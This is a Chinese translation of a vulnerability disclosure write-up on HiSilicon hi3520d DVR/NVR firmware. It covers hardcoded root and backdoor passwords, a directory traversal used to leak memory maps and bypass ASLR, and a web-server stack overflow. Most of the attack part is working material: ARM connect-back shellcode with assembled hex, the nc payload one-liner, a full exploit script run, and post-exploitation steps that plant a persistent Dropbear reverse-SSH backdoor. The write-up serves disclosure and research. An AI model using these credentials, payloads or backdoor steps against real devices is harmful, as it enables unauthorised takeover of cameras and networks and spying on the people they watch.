翻译文章,原文链接:

https://github.com/mcw0/pwn-hisilicon-dvr/blob/master/README.adoc#defeating-aslr

前言

该报告披露了使用HiSilicon hi3520d和片上系统(SOC)构建的DVR/NVR设备的严重漏洞(具有POC代码)。利用漏洞会导致仅使用Web界面的未经授权的远程代码执行(RCE),导致被攻击设备的完全接管。由于缺乏升级固件,不建议使用这些设备。2016年12月之前已与供应商联系,但仍未得到回复。披露日期为2017年2月。
几年前我在eBay上购买了廉价的中文DVR设备。该设备的启动徽标显示:“SECULINK - 安全监控”。作为IT安全爱好者,我决定仔细查看该设备,了解安全监控服务的“安全性”。通过谷歌搜索这个话题,我发现了一些有趣的材料,但是深入挖掘,发现了关于该设备更有趣、更严重的问题( 0days)。

探索DVR

首先我们应该学习官方用户界面,然后深入挖掘,或者尝试获取固件。固件增加了发现漏洞的机会。

简单概括DVR

用于测试的DVR设备被标记为“Seculink”。

可用的物理接口:

  • 2个USB端口(鼠标可用于控制GUI控制台),

  • 用于连接外接显示器的HDMI端口和VGA(用于GUI和摄像头视图),

  • 用于模拟闭路电视摄像机的4个BNC连接器,

  • 内部的SATA端口用于连接存储以记录视频流,

  • 用于网络访问的以太网端口

官方用户界面:

  • 使用HDMI(或VGA)作为输出直接访问,使用USB鼠标/键盘输入摄像机视图/控制/完全设置,

  • 通过HTTP进行网络访问以进行摄像机查看/控制
    可直接访问的设置界面受用户身份验证(用户名,密码)的限制。默认超级用户为“admin”,默认密码为空。
    在设置强密码之后,用户可能感到安全,其他人无法访问他/她的相机视图。人们经常将DVR设备的Web端口(tcp / 80)从其安全LAN转发到WAN侧,以便从外部访问DVR流(我们可以通过合适的Shodan搜索来检查这一点;)。
    ## 获得固件
    获取固件的方法可能有很多:

  • 通过一些软方法(使用官方接口或利用某种漏洞)从设备中获取它,
  • 通过一些硬方法(JTAG,串行控制台等)从设备中获取它,
  • 从互联网上查找并下载(如果可用)。
    虽然后一种方法在这里是可行的,也是最简单的,但是让我们来试试第一种,因为它也提供了关于设备的其他信息。
    ## 服务扫描
    让我们在DVR上进行全端口扫描。请注意,(默认情况下,如果由root运行)SYN扫描非常慢,因为数据包丢失,但完整的TCP连接扫描将在几分钟后完成。
    # Nmap 7.40 scan initiated Sun Sep  3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127
    Nmap scan report for dvr.lan (192.168.88.127)
    Host is up (0.028s latency).
    Not shown: 65529 closed ports
    PORT      STATE SERVICE       VERSION
    23/tcp    open  telnet        BusyBox telnetd
    80/tcp    open  http          uc-httpd 1.0.0
    554/tcp   open  rtsp          LuxVision or Vacron DVR rtspd
    9527/tcp  open  unknown
    34567/tcp open  dhanalakshmi?
    34599/tcp open  unknown
    MAC Address: 00:12:12:15:B3:E7 (Plus )
    Service Info: Host: LocalHost; Device: webcam
    # Nmap done at Sun Sep  3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds
    总结和手动测试:
  • 23 / tcp是一个telnet登录界面,受一些用户名+密码(不是应用程序凭据)的保护
  • 80 / tcp是受应用程序凭据保护的Web界面
  • 554 / tcp是一个rtsp服务; 它可以通过一个公共rtsp url打开:
    rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp
    请注意,打开rtsp流也需要凭据。
  • 9527 / tcp似乎是一个秘密服务端口,具有一些非常有趣的功能,
  • 34567 / tcp和34599 / tcp似乎是与DVR应用程序相关的一些数据端口。

在这里,我们应该声明该设备可能是一些类似Linux的系统。
通过raw netcat连接到9527 / tcp显示应用程序控制台的日志消息和登录提示。使用任何已定义的应用程序凭据登录都有效。help在提示符后发出,给出了控制台命令的简短描述。命令 shell似乎是最有趣的。是的,它为设备提供了root shell。;)
请注意,这显然是一个严重的安全问题,因为任何(低权限)应用程序用户都不应自动获取设备上的root shell。

root shell

在root shell中探索设备(例如,通过dmesg)可以明显看出DVR运行的是Linux内核(版本3.0.8),它有一个ARMv7 CPU,SoC模型是hi3520d
从正在运行的进程列表中(ps)可以清楚地看到,DVR应用程序/var/Sofia正在侦听34568 / udp和34569 / udp以及nmap(netstat -nlup)检测到的上述tcp端口。
从已装入的磁盘列表(mount命令)中,可以清楚地看到固件映像在/dev/mtdblockX设备中(其中X = 0,1,2,3,4,5)。
固件很小,因此受到限制,因此如果我们想要将文件复制到设备或从设备复制文件,我们应该换个思维方式。幸运的是支持NFS,所以在我们的台式机上安装一台NFS服务器,并从DVR安装它,可以解决问题:

mount -t nfs 192.168.88.100:/nfs /home -o nolock

现在获得固件很简单:

cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
cat /dev/mtdblock3 > /home/mtdblock3-custom.img
cat /dev/mtdblock4 > /home/mtdblock4-logo.img
cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

我们可能会获取文件(不仅仅是原始图像):

cp / var / Sofia / home /
tar -cf /home/fs.tar / bin / boot / etc / lib / linuxrc / mnt / opt / root / sbin / share / slv / usr / var

telnet接口

要通过telnet接口(端口23 / tcp)访问设备,我们可能需要一些操作系统凭据。看看/etc/passwd,我们获取root用户的密码hash值:

root:absxcfbgXtb3o:0:0:root:/:/bin/sh

请注意,除root之外没有其他用户,所有内容都以完全权限运行。(因此如果有人以某种方式入侵设备,没有阻拦,攻击者立即获得全部权限。)
假设一个六个字符的小写字母数字密码,hashcat会快速破解上述弱DES hash:

$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: absxcfbgXtb3o
Time.Started.....: Sun Sep  3 03:25:07 2017 (2 mins, 29 secs)
Time.Estimated...: Sun Sep  3 03:27:36 2017 (0 secs)
Guess.Mask.......: ?1?1?1?1?1?1 [6]
Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   815.9 kH/s (203.13ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 121360384/2176782336 (5.58%)
Rejected.........: 0/121360384 (0.00%)
Restore.Point....: 93440/1679616 (5.56%)
Candidates.#1....: sa8711 -> h86ani
HWMon.Dev.#1.....: N/A
Started: Sun Sep  3 03:25:04 2017
Stopped: Sun Sep  3 03:27:38 2017

因此通过端口23 / tcp上的telnet接口登录用户root和密码xc3511是可能的。这个硬编码的root帐户可以在不可关闭的telnet接口上访问,这显然是一个后门。
在我们的研究之前,几乎其他任何人都可以获得这些结果,但以下是全新的。

固件逆向

探索固件后发现,二进制文件/var/Sofia是实现除视频处理之外的所有接口的主要应用程序。所以这个二进制文件对我们来说似乎是最值得关注的。
不幸的是,它(作为静态链接)被剥离,这使得静态分析变得更难:

`$ file Sofia
Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info`

因此,除静态分析(使用radare2或IDA)外,动态分析应该非常有用。

远程gdb

对于动态分析,将GDB链接到远程/var/Sofia应用程序应该是有利的。推荐的方法是在远程设备上运行(和连接) gdbserver,并从本地机器将gdb连接到它。
当然,我们需要为适当的ARM体系结构编译一个gdbserver(最好是静态的)。为了构建它,我们可以使用 Clibc,它是嵌入式系统(比如我们的DVR)推荐的C库。可用的构建是动态构建,在我们的DVR上是有问题的,所以我们应该自己定制静态构建。有一个很好的构建环境叫做Buildroot,它可以让构建开箱即用(使用make menuconfig选择所需的应用程序(例如gdb ),不要忘记选择静态库,然后运行make )。
经过短暂的构建(约10 - 15分钟),所有必要的工具都应该可用。静态二进制文件可以通过前面提到的NFS方法传输到设备。请注意,变量/var 的目录包含Sofia二进制文件是ramfs,因此它不会在重新启动时保持不变。如果我们想要永久地传输二进制文件,那么/mnt/mtd包含配置文件的rw分区应该是合适的目标。如果你也构建了openssh包,scp将可用,这使得文件传输更加容易。
现在固件已经准备好进行一些逆向。远程连接gdbserver现在工作正常( 使用ps获取Sofia进程的PID是很容易的 ) :

`$ /mnt/mtd/gdbserver --attach :2000 610`

从本地机器连接:

$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'

请注意,建议使用一些GDB扩展(如 GEF)。如果由于某种原因暂停应用程序不起作用(使用Cc),则向Sofia进程发送TRAP信号(通过 kill -TRAP 610)应该会暂停它。

检查认证程序

静态分析的推荐工具显然是Hex-Ray的 IDA Pro。不幸的是,它不便宜,但比任何其他工具都好。
初始自动分析后有15.000多个函数,但找到auth函数只是IDA的一个瞬间(使用简单的Python脚本)。下面的 IDAPython代码片段搜索引用与“Users” 和 “Password” 相关的任何内容的所有函数(同时):

x1, x2 = set(), set()
for loc, name in Names():
  if "Users" in name:
    for addr in XrefsTo(loc):
      x1.add(GetFunctionName(addr.frm))
  elif "Password" in name:
    for addr in XrefsTo(loc):
      x2.add(GetFunctionName(addr.frm))
print x1 & x2

结果只有一个功能:sub_2D857C。对该功能的快速分析确认了这应该是身份验证功能。
对明文密码和硬编码字符串进行初始检查(从配置中获取用户的密码哈希值之前)。如果通过,则授予身份验证。这是应用程序中的恶意后门。通用密码是:I0TO5Wv9
使用此密码,我们可以以任何用户(例如管理员)访问应用程序中的任何内容。例如,获取视频流:
$ cvlc'rtsp://192.168.88.127:554 / user = admin&password = I0TO5Wv9&channel = 1&stream = 0.sdp'
或者在应用程序控制台(9527 / tcp)上获得root shell也可以:

$ nc 192.168.88.127 9527
nc: using stream socket
username:admin
password:I0TO5Wv9
login(admin, ******, Console, address:)
admin$

认证算法还有一个有趣的结果:在某些情况下,认证函数不仅接受密码,还接受散列。不仅可以通过密码而且可以通过hash(存储在/ mnt / mtd / Config / Account1中)打开rtsp视频流。例如,tlJwpbo6是空密码的hash值(参见下一节),因此

cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'

同样有效。

密码散列函数

auth函数(更深层)静态分析的另一个结果:密码散列函数是sub_3DD5E4。它基本上是带有一些奇怪转换的MD5。逆向并在Python中实现:

import hashlib
def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h

执行hash算法,可以强制使用密码或设置任意密码。

内置webserver中的缓冲区溢出

Sofia二进制文件处理端口80/tcp上的HTTP请求。让我们试着对这些要求进行混淆处理。当然,附加gdb (见上文)应该会有所帮助。实际上,我们应该终止Sofia进程,并使用gdbserver重新启动它,以查看控制台输出:

$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia

在本地:

$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef>  c

现在让我们看看GET请求。没有回应:

$ echo 'GET /' | nc 192.168.88.127 80

正常响应(即使没有正确的关闭):

$ echo -ne'GET / HTTP'| nc 192.168.88.127 80

用looong请求测试是否有溢出:

$ python -c 'print "GET " + "a"*1000 + " HTTP"' |  nc 192.168.88.127 80

很好,响应是200,带有“404 File Not Found”消息,但我们可以在gdb中看到一个精彩的崩溃。;)
请注意,Sofia应用程序启用了watchdog内核模块。如果它有一分钟没有运行,设备将重新启动。如果我们用远程设备进行实验,这一方面是好的,但是如果我们想顺利地进行调试,那么很糟糕。
watchdog一旦启动就无法关闭,因此摆脱它的唯一方法是通过重新刷新来修改只读固件。除非我们想要测试我们的设备,否则不建议使用。;)

程序流控制

(在攻击者看来)为什么这次崩溃如此美妙?远程进程Sofia得到了SIGSEGV (分段错误),堆栈中充满了我们的“a”字符,但最重要的是: $pc (程序计数器)寄存器中有我们注入的值0x61616160(“aaaa” - 1)(可能是由ret触发的,但原因并不重要)。这应该是经典的堆栈溢出,这意味着我们有机会轻松控制程序流。
经过一些实验(间隔减半) :

$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' |  nc 192.168.88.127 80

这也导致了SIGSEGV,并且$ pc寄存器是0x7a797876 (〜“wxyz”;相反,因为字节排序是little-endian;而-1是因为对齐)。payload在$ sp + 0x14(堆栈基址+ 0x14)处开始(带有“0123aaa ...”)。

远程代码执行

最容易和有效地利用这种溢出是通过将一些shellcode注入堆栈并将程序流重定向到那里。这样我们就可以在目标上获得任意的远程代码执行。由于设备操作系统上没有权限分离,这意味着完全控制(root shell访问)。
但是,启用漏洞利用缓解技术可能会使攻击者更难入侵。
防止堆栈上的shellcode的最基本方法是No-eXecute(NX)位技术。这可以防止在选定的内存页面上(通常是具有写入权限的页面,如堆栈)执行代码。幸运的是(从攻击者看来;)),没有NX位设置(查看STACK标志,rwx):

$ objdump -b elf32-littlearm -p Sofia
Sofia:     file format elf32-littlearm
Program Header:
0x70000001 off    0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
         filesz 0x000132a8 memsz 0x000132a8 flags r--
    LOAD off    0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
         filesz 0x005371dc memsz 0x005371dc flags r-x
    LOAD off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
         filesz 0x000089c8 memsz 0x000dad8c flags rw-
     TLS off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
         filesz 0x00000004 memsz 0x00000018 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>

或者在gdb gef中使用checksec。gdb gef中的checksec也告诉我们没有其他的缓解措施,例如堆栈canary(这很明显,因为如果存在堆栈canary,我们无法控制带有堆栈溢出的$ pc)。
在获取RCE工作之前,我们唯一应该知道的是堆栈地址。我们应该在payload的适当位置(上文中的“wxyz”)注入地址$sp+0x14,以便将程序流重定向到shellcode。
还有一种缓解技术可以使这变得更加困难(或者非常困难,在某些情况下几乎不可能):地址空间布局随机化(ASLR)。ASLR随机化存储器段的基址(例如,堆栈的基址)。
运气不好,ASLR被启用(“2”表示完全随机化,“0”被禁用):

$ cat / proc / sys / kernel / randomize_va_space
2

没有ASLR的RCE

让我们先尝试在ASLR关闭的情况下利用溢出。

$ echo 0 > /proc/sys/kernel/randomize_va_space

按照上面的过程,我们得到SIGSEGV崩溃时堆栈地址($ sp)是0x5a26f3d8(并且在ASLR关闭的不同运行中它是相同的)。
因此payload应该是:

python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80

其中shellcode应该是我们想要执行的,最好是connectback shellcode。请注意,必须避免“badchars”: 0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?')。此外,还有299字节的大小限制。Shellcode生成器无法处理我们的badchar列表,​​即使使用自动编码器也无法解决问题(因为大小限制)。
因此应该生成自定义shellcode。这里的shellcode使用socket,connect,dup2和execve系统调用(或根据ARM世界的术语进行管理程序调用)给出了一个连接shell。我们必须严格且具有创造性,以避免犯错。这些只是为了便于阅读的标签不应被使用。

.section    .text
.global     _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0:    add  r1, pc, #1
_4:    bx   r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8:    add  r1, pc, #68      @ r1 <- pc+68 = 0xc+68 = 0x50
_a:    ldrb r2, [r1, #2]     @ r2 <- *0x52
_c:    sub  r2, #1           @ r2 <- r2-1
_e:    strb r2, [r1, #2]     @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10:   mov  r1, #2          @ r1 <- 2
_12:   add  r0, r1, #0      @ r0 <- r1 + 0 = 2
_14:   mov  r1, #1          @ r1 <- 1
_16:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_18:   lsl  r7, r1, #8      @ r7 <- r1<<8 = 1<<8 = 256
_1a:   add  r7, #25         @ r7 <- r7 + 25 = 281
_1c:   svc  1               @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e:   add  r6, r0, #0       @ r6 <- r0 + 0 = &socket
_20:   add  r1, pc, #44      @ r1 <- pc+44 = 0x24+44 = 0x50
_22:   mov  r3, #2           @ r3 <- 2
_24:   strh r3, [r1, #0]     @ 2 -> *0x50
_26:   mov  r2, #16          @ r2 <- 16
_28:   add  r7, #2           @ r7 <- r7 + 2 = 283
_2a:   svc  1                @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c:   mov  r7, #62       @ r7 <- 62
_2e:   add  r7, #1        @ r7 <- r7 + 1 = 63
_30:   mov  r1, #200      @ r1 <- 200
_32:   add  r0, r6, #0    @ r0 <- r6 + 0 = &socket
_34:   svc  1             @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36:   sub  r1, #1        @ r1 <- r1 - 1
_38:   bpl  _32           @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a:   add  r0, pc, #28     @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_3e:   strb r2, [r0, #7]    @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40:   push {r0, r2}        @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42:   mov  r1, sp          @ r1 <- sp
_44:   mov  r7, #11         @ r7 <- 11
_46:   svc  1               @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48:   mov  r7, #1          @ r7 <- 1
_4a:   add  r0, r7, #0      @ r0 <- r7 + 0 = 1
_4c:   svc  1               @ svc_1(r0) = exit(1)
_4e:   nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50:   .short 0xffff
_52:   .short 0x697b            @ port 31377 (hex(31337+0x100) in little-endian)
_54:   .byte 192,168,88,100     @ inet addr: 192.168.88.100
_58:   .ascii "/bin/shX"        @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde        @ deadbeef ;)

编译shellcode并获取原始二进制字节(使用ARM的任何交叉工具都可以工作,例如使用buildroot构建的工具 buildroot-2017.02.5/output/host/usr/bin/也可以):

$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef

向它注入payload应该可以使该漏洞发挥作用,并且应该给远程设备提供一个connectback shell。
当然,首先要启动一个监听器192.168.88.100

$ nc -nvlp 31337

然后启动 payload:

$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex");  print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>

在本地 gdb Exp 应该有效 :) :

process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...

并且RCE已经在netcat监听器上准备好:

nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket

现在可以在远程系统上执行arbitraty命令(以root身份!)。
但不幸的是,漏洞利用尚未准备好进行实际部署,因为ASLR已打开,因此我们尚未得知shellcode起始地址。

绕过ASLR

绕过ASLR并不是一件容易的工作,但是它通常可以通过一些新奇的的想法来完成。通常有两种方法可以做到这一点:

  • 在随机性发生器中发现一些弱点并通过暴力或部分泄漏/重写来攻击它,
  • 泄漏远程二进制文件的随机内存地址。

现在暴力破坏似乎没用了(触发错误的地址将导致崩溃和慢速重启),所以只有泄漏似乎很方便(如果我们能找到的话)。

经过长时间的研究,几乎不得不放弃它,找不到任何漏洞,但后来一个想法从完全不同的方向出现了。

Web服务器中存在一个不同的漏洞,即目录遍历漏洞。事实上,它也适用于列出目录(这也很重要)。

目录遍历漏洞意味着:

$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

root:absxcfbgXtb3o:0:0:root:/:/bin/sh

我们还可以获得目录列表:

$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<H1>Index of /mnt/web/../../etc</H1>

<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>

请注意,此漏洞非常严重,因为攻击者可以读取任何文件,包括录制的视频(如果设备有硬盘存储)。

此外,该漏洞可以帮助我们绕过ASLR。

/proc文件系统包含了很多有关在/proc/[pid]目录中运行进程的信息。可以使用GET ../../proc列出/proc,这样我们就可以得到所有的PID。如果 /proc/[pid]/cmdline/var/Sofia,则找到应用程序的PID。

绕过ASLR最重要的信息是 /proc/[pid]/smaps。此文件包含内存页统计信息、页面地址和其他有趣信息(例如rss)。例如:

$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

/var/Sofia

$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

...

4b699000-4be98000 rwxp 00000000 00:00 0
Size:               8188 kB
Rss:                   4 kB
Pss:                   4 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:            4 kB
Anonymous:             4 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB

...

这只是一页,该列表包含约150页。

看看上面的结构(注意页面大小,模式等),我们可以猜测哪一个包含所需线程的堆栈。堆栈与基址的偏移量是常量(它是0x7fd3d8)。

猜测内存页面的片段:

def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
        smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)

其中 smaps[t][1][0] is 是第t整页的大小,smaps[t][1][1]是相关的RSS。

该片段是完整漏洞利用脚本的一部分。有关脚本的简要介绍:

$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
                            [--lport LPORT] [--bhost BHOST] [--bport BPORT]
                            [-n] [-i] [-p] [-u] [--offset OFFSET]
                            [--cmdline CMDLINE]

exploit HiSilicon DVR devices

optional arguments:
  -h, --help         show this help message and exit
  --rhost RHOST      target host
  --rport RPORT      target port
  --lhost LHOST      connectback ip
  --lport LPORT      connectback port
  --bhost BHOST      listen ip to bind (default: connectback)
  --bport BPORT      listen port to bind (default: connectback)
  -n, --nolisten     do not start listener (you should care about connectback
                     listener on your own)
  -i, --interactive  select stack memory region interactively (rather than
                     using autodetection)
  -p, --persistent   make connectback shell persistent by restarting dvr app
                     automatically (DANGEROUS!)
  -u, --upload       upload tools (now hardcoded "./tools/dropbear" in script)
                     after pwn
  --offset OFFSET    exploit param stack offset to mem page base (default:
                     0x7fd3d8)
  --cmdline CMDLINE  cmdline of Sofia binary on remote target (default
                     "/var/Sofia")

post-exploitation

我们能用这个RCE做什么?一切。请记住,这是一个未经授权的RCE,它只使用网络服务端口80/tcp。这个端口通常被转发到外部,所以如果攻击者利用这个RCE访问接口,他就可以访问内部局域网。

我们的攻击脚本有一些很好的特性,比如它可以上传(以前编译过的)工具到受害者设备。

如果我们想创建一个持久、稳定的后门,我们可以上传一个Dropbear,让它在本地监听,并向外部打开一个反向SSH隧道。有了这种架构,就可以随时随地登录DVR设备。

$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 dropbear@192.168.88.100

现在可以使用SSH通过反向隧道访问设备:

$ ssh -p2322 root@localhost
root@localhost's password:


BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Welcome to Monitor Tech.
[root@LocalHost /]$

总结

以下是已记录的漏洞:

漏洞 风险 服务 发现 碰撞
硬编码(后门)telnet密码 23 / TCP 其他人 每个可以访问telnet接口的人都可以完全控制设备,即使用户设置了合适的密码
任何应用程序帐户的root shell访问权限 9527 / TCP 作者 任何拥有任何类型的应用程序帐户并可以访问服务控制台的人,都可以将权限提升到对设备的完全( shell )控制
后门应用程序密码 危急 80 / tcp,554 / tcp 作者 任何人都可以作为应用程序管理员访问设备,即使用户已经设置了强密码来保护设备
内置Web服务器中的缓冲区溢出 危急 80 / TCP 作者 利用缓冲区溢出,攻击者可以在设备上获得根远程代码执行(不需要授权),安装后门、恶意软件和其他恶意内容
目录遍历 80 / TCP 其他人和作者 未经授权的读取访问设备上的所有内容(例如记录流),也有助于利用缓冲区溢出

如果有人认为只有这个“Seculink”品牌的设备受到这些严重漏洞的影响,那就错了。受影响设备的范围非常大。用这种硬件制造的每一个设备都是易受攻击的。这些设备与名为“Sofia”的二进制应用程序共享(几乎)相同的固件。上述漏洞(甚至全功能脚本)在许多不同的硬件上几乎不需要修改就能可靠地工作。

以下是受影响品牌的(不完整)列表:

http://www.vacron.com/products_CCTV_dvr.html
http://www.gess-inc.com/gess/dvrs/
http://www.jufenginfo.com/en/product-list.php?cid=10&pid = 166&parid = 175
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D
